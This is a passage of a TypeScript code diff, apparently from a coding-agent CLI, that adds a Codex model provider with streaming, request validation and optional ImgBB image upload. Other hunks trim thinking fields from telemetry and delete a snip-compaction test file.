if (status !== null && status >= 500) {
return {
content: `Codex server error (${status}): ${message}`,
error: 'server_error',
}
}
return {
content: `API Error: ${message}`,
error: 'unknown',
}
}

View File

@@ -0,0 +1,132 @@
import { createHash } from 'crypto'
import { logForDebugging } from '../../../utils/debug.js'
const resolvedImageUrls = new Map<string, string>()
const DEFAULT_TIMEOUT_MS = 30_000
const IMGBB_UPLOAD_URL = 'https://api.imgbb.com/1/upload'
type ImgbbVariant = {
url?: unknown
}
type ImgbbPayload = {
data?: {
url?: unknown
display_url?: unknown
image?: ImgbbVariant
medium?: ImgbbVariant
thumb?: ImgbbVariant
}
}
function getUploadTimeoutMs(): number {
const raw =
process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS ??
process.env.CODEX_IMAGE_URL_TIMEOUT_MS
if (!raw) {
return DEFAULT_TIMEOUT_MS
}
const parsed = Number.parseInt(raw, 10)
return Number.isFinite(parsed) && parsed > 0 ? parsed : DEFAULT_TIMEOUT_MS
}
function getCacheKey(prefix: string, value: string): string {
return `${prefix}:${createHash('sha256').update(value).digest('hex')}`
}
function getImgbbApiKey(): string | null {
const apiKey = process.env.CODEX_IMGBB_API_KEY?.trim()
return apiKey && apiKey.length > 0 ? apiKey : null
}
function pickImgbbImageUrl(payload: ImgbbPayload): string | null {
const candidates = [
payload.data?.medium?.url,
payload.data?.thumb?.url,
payload.data?.image?.url,
payload.data?.url,
payload.data?.display_url,
]
for (const candidate of candidates) {
if (typeof candidate === 'string' && candidate.length > 0) {
return candidate
}
}
return null
}
async function withTimeout<T>(
run: (signal: AbortSignal) => Promise<T>,
): Promise<T> {
const controller = new AbortController()
const timeout = setTimeout(() => controller.abort(), getUploadTimeoutMs())
try {
return await run(controller.signal)
} finally {
clearTimeout(timeout)
}
}
async function uploadToImgbb(
base64Image: string,
): Promise<string | null> {
const apiKey = getImgbbApiKey()
if (!apiKey) {
return null
}
try {
const url = await withTimeout(async signal => {
const body = new FormData()
body.append('image', base64Image)
const response = await fetch(`${IMGBB_UPLOAD_URL}?key=${encodeURIComponent(apiKey)}`, {
method: 'POST',
body,
signal,
})
if (!response.ok) {
logForDebugging(
`[Codex] ImgBB upload failed: ${response.status} ${response.statusText}`,
)
return null
}
return pickImgbbImageUrl((await response.json()) as ImgbbPayload)
})
if (!url) {
logForDebugging('[Codex] ImgBB upload produced no usable URL.')
return null
}
return url
} catch (error) {
logForDebugging(`[Codex] Failed to upload image to ImgBB: ${error}`)
return null
}
}
export async function uploadCodexBase64Image(
data: string,
mediaType: string = 'image/png',
): Promise<string | null> {
const cacheKey = getCacheKey('base64', `${mediaType}:${data}`)
const cached = resolvedImageUrls.get(cacheKey)
if (cached) {
return cached
}
const url = await uploadToImgbb(data)
if (!url) {
return null
}
resolvedImageUrls.set(cacheKey, url)
return url
}

View File

@@ -0,0 +1,304 @@
import type { BetaToolUnion } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
import type {
Response,
ResponseCreateParamsNonStreaming,
} from 'openai/resources/responses/responses.mjs'
import { appendFileSync } from 'fs'
import type { SystemPrompt } from '../../../utils/systemPromptType.js'
import type {
AssistantMessage,
Message,
StreamEvent,
SystemAPIErrorMessage,
} from '../../../types/message.js'
import type { Tools } from '../../../Tool.js'
import type { SDKAssistantMessageError } from '../../../entrypoints/agentSdkTypes.js'
import { toolToAPISchema } from '../../../utils/api.js'
import {
createAssistantAPIErrorMessage,
normalizeMessagesForAPI,
} from '../../../utils/messages.js'
import { logForDebugging } from '../../../utils/debug.js'
import { getModelMaxOutputTokens } from '../../../utils/context.js'
import type { Options } from '../claude.js'
import { recordLLMObservation } from '../../../services/langfuse/tracing.js'
import {
convertMessagesToLangfuse,
convertOutputToLangfuse,
convertToolsToLangfuse,
} from '../../../services/langfuse/convert.js'
import {
anthropicMessagesToCodexInput,
anthropicToolsToCodex,
resolveCodexMaxTokens,
resolveCodexModel,
} from '@ant/model-provider'
import { getCodexClient } from './client.js'
import { uploadCodexBase64Image } from './imageUpload.js'
import {
getCodexConfigurationError,
normalizeCodexError,
} from './errors.js'
import { sanitizeCodexRequest } from './preflight.js'
import {
addCodexUsage,
type CodexStreamResult,
type CodexUsage,
rawAssistantBlocksToAssistantMessage,
type RawAssistantBlock,
streamCodexAttempt,
} from './streaming.js'
const MAX_CODEX_CONTINUATIONS = 3
function dumpCodexPayload(
body: ResponseCreateParamsNonStreaming,
): void {
const path = process.env.CODEX_DEBUG_PAYLOADS
if (!path) {
return
}
appendFileSync(
path,
`${JSON.stringify({ timestamp: new Date().toISOString(), body }, null, 2)}\n`,
)
}
function appendRawAssistantBlocks(
target: RawAssistantBlock[],
source: RawAssistantBlock[],
): void {
for (const block of source) {
const lastBlock = target.at(-1)
if (lastBlock?.type === 'text' && block.type === 'text') {
lastBlock.text += block.text
continue
}
if (
lastBlock?.type === 'tool_use' &&
block.type === 'tool_use' &&
lastBlock.id === block.id &&
lastBlock.name === block.name &&
block.input.startsWith(lastBlock.input)
) {
lastBlock.input = block.input
continue
}
target.push({ ...block })
}
}
export async function* queryModelCodex(
messages: Message[],
systemPrompt: SystemPrompt,
tools: Tools,
signal: AbortSignal,
options: Options,
): AsyncGenerator<
StreamEvent | AssistantMessage | SystemAPIErrorMessage,
void
> {
try {
const configurationError = getCodexConfigurationError()
if (configurationError) {
yield createAssistantAPIErrorMessage({
content: configurationError.content,
apiError: 'api_error',
error: configurationError.error,
})
return
}
const model = resolveCodexModel(options.model)
const messagesForAPI = normalizeMessagesForAPI(messages, tools)
const toolSchemas = await Promise.all(
tools.map(tool =>
toolToAPISchema(tool, {
getToolPermissionContext: options.getToolPermissionContext,
tools,
agents: options.agents,
allowedAgentTypes: options.allowedAgentTypes,
model: options.model,
}),
),
)
const codexTools = anthropicToolsToCodex(toolSchemas as BetaToolUnion[])
const { upperLimit } = getModelMaxOutputTokens(model)
const maxTokens = resolveCodexMaxTokens(
upperLimit,
options.maxOutputTokensOverride,
)
const client = getCodexClient({
maxRetries: 0,
fetchOverride: options.fetchOverride as typeof fetch | undefined,
})
const start = Date.now()
const collectedMessages: AssistantMessage[] = []
let totalUsage: CodexUsage = {
input_tokens: 0,
output_tokens: 0,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0,
}
const aggregateBlocks: RawAssistantBlock[] = []
let replayMessages = messagesForAPI
let partialMessage: AssistantMessage['message'] | undefined
let finalResponse: Response | undefined
let terminalIncompleteResponse: Response | undefined
for (
let attempt = 0;
attempt <= MAX_CODEX_CONTINUATIONS;
attempt += 1
) {
const input = await anthropicMessagesToCodexInput(replayMessages, {
resolveBase64ImageUrl: uploadCodexBase64Image,
})
const requestBody = sanitizeCodexRequest({
model,
input,
store: false,
parallel_tool_calls: false,
max_output_tokens: maxTokens,
...(systemPrompt.length > 0 && {
instructions: systemPrompt.join('\n\n'),
}),
...(codexTools.length > 0 && {
tools: codexTools,
}),
...(options.temperatureOverride !== undefined && {
temperature: options.temperatureOverride,
}),
} satisfies ResponseCreateParamsNonStreaming)
if (attempt === 0) {
logForDebugging(
`[Codex] Calling model=${model}, inputItems=${input.length}, tools=${codexTools.length}`,
)
dumpCodexPayload(requestBody)
} else {
logForDebugging(
`[Codex] Continuing incomplete response attempt ${attempt}/${MAX_CODEX_CONTINUATIONS}`,
)
}
const attemptStream = streamCodexAttempt({
client,
requestBody,
signal,
start,
emitPrimaryEvents: attempt === 0,
})
let attemptResult: CodexStreamResult | undefined
while (true) {
const next = await attemptStream.next()
if (next.done) {
attemptResult = next.value
break
}
yield next.value
}
if (!attemptResult?.response) {
continue
}
partialMessage = partialMessage ?? attemptResult.partialMessage
finalResponse = attemptResult.response
terminalIncompleteResponse = attemptResult.incompleteResponse
totalUsage = addCodexUsage(totalUsage, attemptResult.response)
if (attemptResult.assistantBlocks.length === 0) {
break
}
appendRawAssistantBlocks(aggregateBlocks, attemptResult.assistantBlocks)
const shouldContinue =
attemptResult.incompleteResponse !== undefined &&
attempt < MAX_CODEX_CONTINUATIONS
if (!shouldContinue) {
break
}
const continuationMessage = rawAssistantBlocksToAssistantMessage(
attemptResult.assistantBlocks,
attemptResult.response,
tools,
options.agentId,
)
replayMessages = [...replayMessages, continuationMessage]
}
if (finalResponse) {
if (aggregateBlocks.length === 0) {
yield createAssistantAPIErrorMessage({
content: 'Codex returned an empty streamed response.',
apiError: 'api_error',
error: 'unknown',
})
return
}
const assistantMessage = rawAssistantBlocksToAssistantMessage(
aggregateBlocks,
finalResponse,
tools,
options.agentId,
)
assistantMessage.message.usage = totalUsage as any
collectedMessages.push(assistantMessage)
yield assistantMessage
recordLLMObservation(options.langfuseTrace ?? null, {
model,
provider: process.env.CODEX_LOGIN_METHOD === 'chatgpt_subscription'
? 'codex-chatgpt'
: 'codex',
input: convertMessagesToLangfuse(messagesForAPI, systemPrompt),
output: convertOutputToLangfuse(collectedMessages),
usage: totalUsage,
startTime: new Date(start),
endTime: new Date(),
completionStartTime:
partialMessage !== undefined ? new Date(start) : undefined,
tools: convertToolsToLangfuse(toolSchemas as unknown[]),
})
} else {
yield createAssistantAPIErrorMessage({
content: 'Codex returned an empty streamed response.',
apiError: 'api_error',
error: 'unknown',
})
return
}
if (
terminalIncompleteResponse?.incomplete_details?.reason ===
'max_output_tokens'
) {
yield createAssistantAPIErrorMessage({
content: `Output truncated: response exceeded the ${maxTokens} token limit. Set CODEX_MAX_TOKENS or CLAUDE_CODE_MAX_OUTPUT_TOKENS to override.`,
apiError: 'max_output_tokens',
error: 'max_output_tokens' as unknown as SDKAssistantMessageError,
})
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error)
const normalizedError = normalizeCodexError(error)
logForDebugging(`[Codex] Error: ${errorMessage}`, { level: 'error' })
yield createAssistantAPIErrorMessage({
content: normalizedError.content,
apiError: 'api_error',
error: normalizedError.error,
})
}
}

View File

@@ -0,0 +1,151 @@
import type {
ResponseCreateParamsNonStreaming,
ResponseCreateParamsStreaming,
ResponseInputItem,
Tool,
} from 'openai/resources/responses/responses.mjs'
import { normalizeCodexCallId } from '@ant/model-provider'
function isRecord(value: unknown): value is Record<string, unknown> {
return typeof value === 'object' && value !== null && !Array.isArray(value)
}
function assertString(value: unknown, label: string): string {
if (typeof value !== 'string') {
throw new Error(`Codex preflight: ${label} must be a string.`)
}
return value
}
function sanitizeMessageItem(item: Record<string, unknown>): ResponseInputItem {
const role = assertString(item.role, 'message.role')
const content = item.content
if ((role !== 'user' && role !== 'assistant') || !Array.isArray(content)) {
throw new Error('Codex preflight: message items require role and content array.')
}
return item as unknown as ResponseInputItem
}
function sanitizeFunctionCallItem(item: Record<string, unknown>): ResponseInputItem {
const callId = normalizeCodexCallId(item.call_id)
const name = assertString(item.name, 'function_call.name').trim()
const argumentsValue = item.arguments
if (!callId) {
throw new Error('Codex preflight: function_call.call_id is required.')
}
if (name.length === 0) {
throw new Error('Codex preflight: function_call.name is required.')
}
if (typeof argumentsValue !== 'string') {
throw new Error('Codex preflight: function_call.arguments must be a string.')
}
return {
...item,
call_id: callId,
name,
arguments: argumentsValue,
} as ResponseInputItem
}
function sanitizeFunctionCallOutputItem(
item: Record<string, unknown>,
): ResponseInputItem {
const callId = normalizeCodexCallId(item.call_id)
const output = item.output
if (!callId) {
throw new Error('Codex preflight: function_call_output.call_id is required.')
}
if (
typeof output !== 'string' &&
!(Array.isArray(output) && output.every(part => isRecord(part)))
) {
throw new Error(
'Codex preflight: function_call_output.output must be a string or content array.',
)
}
return {
...item,
call_id: callId,
} as ResponseInputItem
}
function sanitizeInputItem(item: unknown): ResponseInputItem {
if (!isRecord(item) || typeof item.type !== 'string') {
throw new Error('Codex preflight: each input item requires a type.')
}
switch (item.type) {
case 'message':
return sanitizeMessageItem(item)
case 'function_call':
return sanitizeFunctionCallItem(item)
case 'function_call_output':
return sanitizeFunctionCallOutputItem(item)
default:
throw new Error(`Codex preflight: unsupported input item type "${item.type}".`)
}
}
function sanitizeTool(tool: unknown): Tool {
if (!isRecord(tool) || tool.type !== 'function') {
throw new Error('Codex preflight: only function tools are supported.')
}
const name = assertString(tool.name, 'tool.name').trim()
const parameters = isRecord(tool.parameters) ? tool.parameters : {}
if (name.length === 0) {
throw new Error('Codex preflight: tool.name is required.')
}
return {
...tool,
type: 'function',
name,
parameters,
} as Tool
}
export function sanitizeCodexRequest(
request: ResponseCreateParamsNonStreaming,
): ResponseCreateParamsNonStreaming {
if (typeof request.model !== 'string' || request.model.trim().length === 0) {
throw new Error('Codex preflight: model is required.')
}
if (
request.instructions !== undefined &&
request.instructions !== null &&
typeof request.instructions !== 'string'
) {
throw new Error('Codex preflight: instructions must be a string.')
}
if (!Array.isArray(request.input)) {
throw new Error('Codex preflight: input must be an array.')
}
return {
...request,
model: request.model.trim(),
instructions: request.instructions?.trim() || undefined,
input: request.input.map(sanitizeInputItem),
tools: request.tools?.map(sanitizeTool),
}
}
export function toStreamingCodexRequest(
request: ResponseCreateParamsNonStreaming,
): ResponseCreateParamsStreaming {
return {
...request,
stream: true,
}
}

View File

@@ -0,0 +1,681 @@
import { randomUUID } from 'crypto'
import type {
Response,
ResponseCreateParamsNonStreaming,
ResponseFunctionToolCall,
ResponseOutputItem,
ResponseOutputMessage,
ResponseStreamEvent,
} from 'openai/resources/responses/responses.mjs'
import type { AssistantMessage, StreamEvent } from '../../../types/message.js'
import type { Tools } from '../../../Tool.js'
import {
createAssistantMessage,
normalizeContentFromAPI,
} from '../../../utils/messages.js'
import { getCodexClient } from './client.js'
import { resolveCodexCallId } from '@ant/model-provider'
import { toStreamingCodexRequest } from './preflight.js'
export type RawAssistantBlock =
| { type: 'text'; text: string }
| { type: 'tool_use'; id: string; name: string; input: string }
export type CodexUsage = {
input_tokens: number
output_tokens: number
cache_creation_input_tokens: number
cache_read_input_tokens: number
}
export type CodexStreamResult = {
response?: Response
incompleteResponse?: Response
partialMessage?: AssistantMessage['message']
assistantBlocks: RawAssistantBlock[]
}
type CodexStreamState = {
contentBlocks: Record<number, RawAssistantBlock>
completedBlocks: Array<RawAssistantBlock | undefined>
partialMessage?: AssistantMessage['message']
finalResponse?: Response
incompleteResponse?: Response
failedResponse?: Response
}
export function getCodexUsage(
response: Pick<Response, 'usage'> | null | undefined,
): CodexUsage {
return {
input_tokens: response?.usage?.input_tokens ?? 0,
output_tokens: response?.usage?.output_tokens ?? 0,
cache_creation_input_tokens: 0,
cache_read_input_tokens:
response?.usage?.input_tokens_details.cached_tokens ?? 0,
}
}
export function addCodexUsage(
total: CodexUsage,
response: Pick<Response, 'usage'> | null | undefined,
): CodexUsage {
const usage = getCodexUsage(response)
return {
input_tokens: total.input_tokens + usage.input_tokens,
output_tokens: total.output_tokens + usage.output_tokens,
cache_creation_input_tokens:
total.cache_creation_input_tokens + usage.cache_creation_input_tokens,
cache_read_input_tokens:
total.cache_read_input_tokens + usage.cache_read_input_tokens,
}
}
function createPartialAssistantMessage(
response: Response,
): AssistantMessage['message'] {
return {
id: response.id,
type: 'message',
role: 'assistant',
content: [],
model: response.model,
stop_reason: null,
stop_sequence: null,
usage: getCodexUsage(response) as any,
} as AssistantMessage['message']
}
function createToolUseBlock(
item: Partial<ResponseFunctionToolCall> & { id?: string },
): RawAssistantBlock {
return {
type: 'tool_use',
id: resolveCodexCallId(
item.call_id ?? item.id,
`tool:${item.name ?? ''}:${item.arguments ?? ''}:${item.id ?? ''}`,
),
name: item.name ?? '',
input: item.arguments ?? '',
}
}
function getCompletedTextFromItem(item: ResponseOutputItem): string | null {
if (item.type !== 'message' || item.role !== 'assistant') {
return null
}
for (const content of (item as ResponseOutputMessage).content) {
if (content.type === 'output_text' && content.text.length > 0) {
return content.text
}
if (content.type === 'refusal' && content.refusal.length > 0) {
return content.refusal
}
}
return null
}
function getCompletedAssistantBlocks(
blocks: Array<RawAssistantBlock | undefined>,
): RawAssistantBlock[] {
return blocks.filter(
(block): block is RawAssistantBlock => block !== undefined,
)
}
function getCodexStopReason(
response: Pick<Response, 'incomplete_details'>,
blocks: RawAssistantBlock[],
): string {
if (response.incomplete_details?.reason === 'max_output_tokens') {
return 'max_tokens'
}
return blocks.some(block => block.type === 'tool_use') ? 'tool_use' : 'end_turn'
}
function emitTrailingTextDelta(
output: StreamEvent[],
index: number,
currentText: string,
finalText: string,
): void {
if (!finalText.startsWith(currentText)) {
return
}
const delta = finalText.slice(currentText.length)
if (delta.length === 0) {
return
}
output.push({
type: 'stream_event',
event: {
type: 'content_block_delta',
index,
delta: {
type: 'text_delta',
text: delta,
},
} as any,
} as StreamEvent)
}
function emitTrailingToolDelta(
output: StreamEvent[],
index: number,
currentInput: string,
finalInput: string,
): void {
if (!finalInput.startsWith(currentInput)) {
return
}
const delta = finalInput.slice(currentInput.length)
if (delta.length === 0) {
return
}
output.push({
type: 'stream_event',
event: {
type: 'content_block_delta',
index,
delta: {
type: 'input_json_delta',
partial_json: delta,
},
} as any,
} as StreamEvent)
}
function responseToRawAssistantBlocks(response: Response): RawAssistantBlock[] {
const blocks: RawAssistantBlock[] = []
for (const item of response.output) {
if (item.type === 'function_call') {
const functionCall = item as ResponseFunctionToolCall
blocks.push({
type: 'tool_use',
id: resolveCodexCallId(
functionCall.call_id,
`output:${functionCall.name}:${functionCall.arguments}`,
),
name: functionCall.name,
input: functionCall.arguments,
})
continue
}
if (item.type !== 'message' || item.role !== 'assistant') {
continue
}
for (const content of (item as ResponseOutputMessage).content) {
if (content.type === 'output_text' && content.text.length > 0) {
blocks.push({
type: 'text',
text: content.text,
})
} else if (content.type === 'refusal' && content.refusal.length > 0) {
blocks.push({
type: 'text',
text: content.refusal,
})
}
}
}
if (
blocks.length === 0 &&
typeof response.output_text === 'string' &&
response.output_text.length > 0
) {
blocks.push({
type: 'text',
text: response.output_text,
})
}
return blocks
}
export function rawAssistantBlocksToAssistantMessage(
rawBlocks: RawAssistantBlock[],
response: Pick<Response, 'id' | 'model' | 'usage' | 'incomplete_details'>,
tools: Tools,
agentId?: string,
): AssistantMessage {
const content = normalizeContentFromAPI(
rawBlocks as any,
tools,
agentId as any,
)
const assistantMessage = createAssistantMessage({
content: content as any,
usage: {
input_tokens: response.usage?.input_tokens ?? 0,
output_tokens: response.usage?.output_tokens ?? 0,
cache_creation_input_tokens: 0,
cache_read_input_tokens:
response.usage?.input_tokens_details.cached_tokens ?? 0,
} as any,
})
assistantMessage.message.id = response.id
assistantMessage.message.model = response.model
assistantMessage.message.stop_reason = getCodexStopReason(response, rawBlocks) as any
assistantMessage.message.stop_sequence = null
assistantMessage.uuid = randomUUID()
assistantMessage.timestamp = new Date().toISOString()
return assistantMessage
}
function handleCodexStreamEvent(params: {
event: ResponseStreamEvent
partialMessage: AssistantMessage['message'] | undefined
contentBlocks: Record<number, RawAssistantBlock>
completedBlocks: Array<RawAssistantBlock | undefined>
start: number
}): {
output: StreamEvent[]
partialMessage: AssistantMessage['message'] | undefined
finalResponse?: Response
failedResponse?: Response
incompleteResponse?: Response
} {
const { event, start } = params
const output: StreamEvent[] = []
const contentBlocks = params.contentBlocks
const completedBlocks = params.completedBlocks
let partialMessage = params.partialMessage
let finalResponse: Response | undefined
let failedResponse: Response | undefined
let incompleteResponse: Response | undefined
const ensureMessageStart = (response: Response): void => {
if (partialMessage) {
return
}
partialMessage = createPartialAssistantMessage(response)
output.push({
type: 'stream_event',
event: {
type: 'message_start',
message: partialMessage,
} as any,
ttftMs: Date.now() - start,
} as StreamEvent)
}
const ensureTextBlock = (index: number): RawAssistantBlock => {
const existing = contentBlocks[index]
if (existing) {
return existing
}
const block: RawAssistantBlock = { type: 'text', text: '' }
contentBlocks[index] = block
output.push({
type: 'stream_event',
event: {
type: 'content_block_start',
index,
content_block: { type: 'text', text: '' },
} as any,
} as StreamEvent)
return block
}
const ensureToolUseBlock = (
index: number,
item?: Partial<ResponseFunctionToolCall> & { id?: string },
): RawAssistantBlock => {
const existing = contentBlocks[index]
if (existing) {
return existing
}
const block = createToolUseBlock(item ?? {})
contentBlocks[index] = block
const toolBlock = block as Extract<RawAssistantBlock, { type: 'tool_use' }>
output.push({
type: 'stream_event',
event: {
type: 'content_block_start',
index,
content_block: {
type: 'tool_use',
id: toolBlock.id,
name: toolBlock.name,
input: '',
},
} as any,
} as StreamEvent)
return block
}
const emitCompletedBlock = (index: number): void => {
const block = contentBlocks[index]
if (!block) {
return
}
completedBlocks[index] = { ...block }
output.push({
type: 'stream_event',
event: {
type: 'content_block_stop',
index,
} as any,
} as StreamEvent)
delete contentBlocks[index]
}
switch (event.type) {
case 'response.created':
case 'response.in_progress':
ensureMessageStart(event.response)
break
case 'response.output_item.added':
if (event.item.type === 'function_call') {
ensureToolUseBlock(event.output_index, event.item)
} else if (event.item.type === 'message' && event.item.role === 'assistant') {
ensureTextBlock(event.output_index)
}
break
case 'response.output_text.delta':
case 'response.refusal.delta': {
const block = ensureTextBlock(event.output_index)
if (block.type === 'text') {
block.text += event.delta
}
output.push({
type: 'stream_event',
event: {
type: 'content_block_delta',
index: event.output_index,
delta: {
type: 'text_delta',
text: event.delta,
},
} as any,
} as StreamEvent)
break
}
case 'response.function_call_arguments.delta': {
const block = ensureToolUseBlock(event.output_index, { id: event.item_id })
if (block.type === 'tool_use') {
block.input += event.delta
}
output.push({
type: 'stream_event',
event: {
type: 'content_block_delta',
index: event.output_index,
delta: {
type: 'input_json_delta',
partial_json: event.delta,
},
} as any,
} as StreamEvent)
break
}
case 'response.output_text.done':
case 'response.refusal.done': {
const block = ensureTextBlock(event.output_index)
const finalText = event.type === 'response.output_text.done'
? event.text
: event.refusal
if (block.type === 'text') {
emitTrailingTextDelta(output, event.output_index, block.text, finalText)
block.text = finalText
}
emitCompletedBlock(event.output_index)
break
}
case 'response.function_call_arguments.done': {
const block = ensureToolUseBlock(event.output_index, {
id: event.item_id,
name: event.name,
})
if (block.type === 'tool_use') {
if (event.name) {
block.name = event.name
}
emitTrailingToolDelta(output, event.output_index, block.input, event.arguments)
block.input = event.arguments
}
emitCompletedBlock(event.output_index)
break
}
case 'response.output_item.done':
if (
event.item.type === 'message' &&
event.item.role === 'assistant' &&
contentBlocks[event.output_index]
) {
const finalText = getCompletedTextFromItem(event.item)
if (finalText !== null) {
const block = contentBlocks[event.output_index]
if (block.type === 'text') {
emitTrailingTextDelta(output, event.output_index, block.text, finalText)
block.text = finalText
}
}
emitCompletedBlock(event.output_index)
} else if (
event.item.type === 'function_call' &&
contentBlocks[event.output_index]
) {
const block = contentBlocks[event.output_index]
if (block.type === 'tool_use') {
block.id = resolveCodexCallId(
event.item.call_id,
`done:${event.item.name}:${event.item.arguments}:${event.item.id}`,
)
block.name = event.item.name
emitTrailingToolDelta(
output,
event.output_index,
block.input,
event.item.arguments,
)
block.input = event.item.arguments
}
emitCompletedBlock(event.output_index)
}
break
case 'response.completed':
case 'response.incomplete': {
ensureMessageStart(event.response)
if (event.type === 'response.completed') {
finalResponse = event.response
} else {
incompleteResponse = event.response
}
const assistantBlocks = getCompletedAssistantBlocks(completedBlocks)
output.push({
type: 'stream_event',
event: {
type: 'message_delta',
delta: {
stop_reason: getCodexStopReason(event.response, assistantBlocks),
stop_sequence: null,
},
usage: getCodexUsage(event.response),
} as any,
} as StreamEvent)
output.push({
type: 'stream_event',
event: {
type: 'message_stop',
} as any,
} as StreamEvent)
break
}
case 'response.failed':
failedResponse = event.response
break
case 'error':
throw new Error(event.message)
}
return {
output,
partialMessage,
finalResponse,
failedResponse,
incompleteResponse,
}
}
function selectResponse(
state: CodexStreamState,
streamedResponse?: Response,
): CodexStreamResult {
const response =
[streamedResponse, state.finalResponse, state.incompleteResponse, state.failedResponse]
.find(
candidate =>
candidate !== undefined &&
responseToRawAssistantBlocks(candidate).length > 0,
) ??
streamedResponse ??
state.finalResponse ??
state.incompleteResponse ??
state.failedResponse
return {
response,
incompleteResponse: state.incompleteResponse,
partialMessage: state.partialMessage,
assistantBlocks:
response !== undefined && responseToRawAssistantBlocks(response).length > 0
? responseToRawAssistantBlocks(response)
: getCompletedAssistantBlocks(state.completedBlocks),
}
}
async function consumeCodexStream(
events: AsyncIterable<ResponseStreamEvent>,
start: number,
): Promise<CodexStreamState> {
const state: CodexStreamState = {
contentBlocks: {},
completedBlocks: [],
}
for await (const event of events) {
const handled = handleCodexStreamEvent({
event,
partialMessage: state.partialMessage,
contentBlocks: state.contentBlocks,
completedBlocks: state.completedBlocks,
start,
})
state.partialMessage = handled.partialMessage
state.finalResponse = handled.finalResponse ?? state.finalResponse
state.incompleteResponse =
handled.incompleteResponse ?? state.incompleteResponse
state.failedResponse = handled.failedResponse ?? state.failedResponse
}
return state
}
export async function* streamCodexAttempt(params: {
client: ReturnType<typeof getCodexClient>
requestBody: ResponseCreateParamsNonStreaming
signal: AbortSignal
start: number
emitPrimaryEvents?: boolean
}): AsyncGenerator<StreamEvent, CodexStreamResult, void> {
let primaryError: unknown
let primaryResult: CodexStreamResult | undefined
try {
const stream = params.client.responses.stream(
params.requestBody as unknown as Parameters<
typeof params.client.responses.stream
>[0],
{ signal: params.signal },
)
const state: CodexStreamState = {
contentBlocks: {},
completedBlocks: [],
}
for await (const event of stream) {
const handled = handleCodexStreamEvent({
event,
partialMessage: state.partialMessage,
contentBlocks: state.contentBlocks,
completedBlocks: state.completedBlocks,
start: params.start,
})
state.partialMessage = handled.partialMessage
state.finalResponse = handled.finalResponse ?? state.finalResponse
state.incompleteResponse =
handled.incompleteResponse ?? state.incompleteResponse
state.failedResponse = handled.failedResponse ?? state.failedResponse
if (params.emitPrimaryEvents !== false) {
yield* handled.output
}
}
let streamedResponse: Response | undefined
try {
streamedResponse = await stream.finalResponse()
} catch {
streamedResponse = undefined
}
primaryResult = selectResponse(state, streamedResponse)
if (primaryResult.assistantBlocks.length > 0 || primaryResult.response) {
return primaryResult
}
} catch (error) {
primaryError = error
}
try {
const fallbackStream = await params.client.responses.create(
toStreamingCodexRequest(params.requestBody),
{ signal: params.signal },
)
const fallbackState = await consumeCodexStream(
fallbackStream as AsyncIterable<ResponseStreamEvent>,
params.start,
)
const fallbackResult = selectResponse(fallbackState)
if (fallbackResult.assistantBlocks.length > 0 || fallbackResult.response) {
return fallbackResult
}
} catch (fallbackError) {
if (primaryError) {
throw primaryError
}
throw fallbackError
}
if (primaryError) {
throw primaryError
}
return primaryResult ?? {
assistantBlocks: [],
}
}

View File

@@ -193,15 +193,6 @@ export async function* queryModelGemini(
endTime: new Date(),
completionStartTime: ttftMs > 0 ? new Date(start + ttftMs) : undefined,
tools: convertToolsToLangfuse(toolSchemas as unknown[]),
thinking:
thinkingConfig.type !== 'disabled'
? {
type: thinkingConfig.type,
...(thinkingConfig.type === 'enabled' && {
budgetTokens: thinkingConfig.budgetTokens,
}),
}
: undefined,
})
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error)

View File

@@ -23,7 +23,6 @@ import { getAPIProviderForStatsig } from 'src/utils/model/providers.js'
import type { PermissionMode } from 'src/utils/permissions/PermissionMode.js'
import { jsonStringify } from 'src/utils/slowOperations.js'
import { logOTelEvent } from 'src/utils/telemetry/events.js'
import type { ThinkingConfig } from 'src/utils/thinking.js'
import {
endLLMRequestSpan,
isBetaTracingEnabled,
@@ -177,7 +176,7 @@ export function logAPIQuery({
permissionMode,
querySource,
queryTracking,
thinkingConfig,
thinkingType,
effortValue,
fastMode,
previousRequestId,
@@ -189,13 +188,11 @@ export function logAPIQuery({
permissionMode?: PermissionMode
querySource: string
queryTracking?: QueryChainTracking
thinkingConfig?: ThinkingConfig
thinkingType?: 'adaptive' | 'enabled' | 'disabled'
effortValue?: EffortLevel | null
fastMode?: boolean
previousRequestId?: string | null
}): void {
const thinkingType = thinkingConfig?.type ?? 'disabled'
const thinkingBudgetTokens = thinkingConfig?.type === 'enabled' ? thinkingConfig.budgetTokens : undefined
logEvent('tengu_api_query', {
model: model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
messagesLength,
@@ -222,9 +219,6 @@ export function logAPIQuery({
: {}),
thinkingType:
thinkingType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
...(thinkingBudgetTokens !== undefined && {
thinkingBudgetTokens,
}),
effortValue:
effortValue as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
fastMode,

View File

@@ -418,7 +418,6 @@ export async function* queryModelOpenAI(
endTime: new Date(),
completionStartTime: ttftMs > 0 ? new Date(start + ttftMs) : undefined,
tools: convertToolsToLangfuse(toolSchemas as unknown[]),
...(enableThinking && { thinking: { type: 'enabled' } }),
})
// Safety: if stream ended without message_stop, assemble and yield whatever we have

View File

@@ -1,222 +0,0 @@
import { describe, expect, test } from 'bun:test'
import {
isSnipMarkerMessage,
isSnipRuntimeEnabled,
shouldNudgeForSnips,
snipCompactIfNeeded,
SNIP_NUDGE_TEXT,
} from '../snipCompact.js'
import type { Message } from 'src/types/message.js'
// --- Helpers ---
function makeMessage(uuid: string, type: Message['type'] = 'user'): Message {
return {
type,
uuid,
message: {
role: type === 'user' ? 'user' : 'assistant',
content: `Message ${uuid}`,
},
} as Message
}
function makeSystemMessage(
uuid: string,
subtype?: string,
extra?: Record<string, unknown>,
): Message {
const msg: Message = {
type: 'system',
uuid,
message: { role: 'system', content: '' },
...extra,
} as Message
if (subtype) {
;(msg as Record<string, unknown>).subtype = subtype
}
return msg
}
function makeSnipBoundary(
uuid: string,
removedUuids: string[],
): Message {
return makeSystemMessage(uuid, 'snip_boundary', {
snipMetadata: { removedUuids },
content: '[snip] Conversation history before this point has been snipped.',
})
}
// --- isSnipMarkerMessage ---
describe('isSnipMarkerMessage', () => {
test('returns true for system message with snip_marker subtype', () => {
const msg = makeSystemMessage('m1', 'snip_marker')
